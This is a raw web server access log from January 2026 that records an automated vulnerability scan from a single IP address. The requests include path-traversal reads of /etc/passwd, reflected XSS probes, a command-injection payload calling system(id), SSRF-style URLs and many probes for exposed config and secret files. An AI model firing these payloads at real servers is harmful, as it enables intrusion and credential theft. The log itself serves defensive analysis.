[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //XUI HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v3 HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_nuxt/@fs/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user_secrets.yml.old HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 226
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scheduler/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adfs/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.nuget/packages.config HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children.json/FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Setup/index.php/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certsrv/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owncloud/config/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /meeting/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/printenv HTTP/1.1" 199
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oam/pages/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.json HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opensis/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/publish.yml HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iPages/i_login.asp HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nextcloud/index.php/login HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/AppsLogin HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/webroot/database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php-opcache-status/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /horizon/auth/login/?next=/horizon/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error_log.txt HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authenticationform/jsp/logonWeb.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /em/console/logon/logon HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/jtfwrepo.xml HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.old HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dialin/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ovirt-engine/webadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?m=login&a=attemptLogin HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /atg/bcc HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload/setup/install.php HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www/admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /boaform/admin/formTracert HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certprov/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ucwa/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(id) HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /exchweb/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read/JMImplementation:type=MBeanServerDelegate/ImplementationName HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iNotes/Forms9.nsf HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/career/getSurvey.jsp?fn=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?route=account/login HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /controller/registry-clients HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/index/install HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /./../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/set_new_config?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/info HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/userverify.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.tgz HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphiql.css HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/folder.do HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://somethingthatdoesnotexist/ HTTP/1.1" 226
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /exchange/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://192.168.0.1/ HTTP/1.1" 226
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ora/reports/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/jtfLOVInProcess.jsp%3FAAA%3DAAAAAAAAAA%27%22%3E%3Csvg%2Fonload%3Dalert('380DIWRKM1A6NdexV6jiqMuxy0G')%3E HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pandora_console/mobile/ HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/login.htm HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/servlet/mstrWeb HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/userverify.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oamfed/idp/soap HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/includes/configure.php HTTP/1.1" 196
[09/Jan/2026:10:54:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pantheon.upstream.yml HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.integrations/aws/cloudwatch/log_groups HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/7 HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /analytics/saw.dll?bieehome&startPage=1 HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prweb/PRRestService/unauthenticatedAPI/v1/docs HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webshell4/login.php?err=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/userverify.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RASHTML5Gateway/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/cam_portal.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /main/blank?message_success=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/pbootcms.db HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webticket/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /parameters.yml HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /openvpn-monitor/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pentaho/j_spring_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //XUI/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://127.0.0.1:21 HTTP/1.1" 226
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prweb/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /activity.atom HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pentaho/Login HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certenroll/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autoupdate/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /perl-status HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /toolkit/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children.json/FNZ.png HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //hacked.txt HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.db HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.jar HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.save HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.save HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /powershell/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci/ HTTP/1.1" 199
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 226
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/deploy.yml HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.php_cs.cache HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /errors.log HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /properties-list.php HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?XDEBUG_SESSION_START=380DIQoE0e7bP5CBQOiOgaMEwMF HTTP/1.1" 3426
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /atg/user/html/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.www HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owncloud/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rpcwithcert/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/photoblocks-grid-gallery/admin/partials/photoblocks-edit.php?id=%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autodiscover/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /connections HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ServiceCenter/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php-fpm.conf HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://127.0.0.1/ HTTP/1.1" 226
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pma/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read/JMImplementation:type=MBeanServerDelegate/ImplementationVendor HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user.ini HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children.json/FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opcache-status/opcache.php HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/sl_webviewer?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2eetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php/'%3E%3Csvg/onload=alert%60380DIIMDXjPTnUTaSMFSU3Fh2wX%60%3E HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /aspnet_client/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oracle/reports/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/config/parameters.yml HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /main/blank?message_error=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.integrations/aws/inputs HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webshell4/login.php?login=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /analytics/saw.dll?Dashboard HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 196
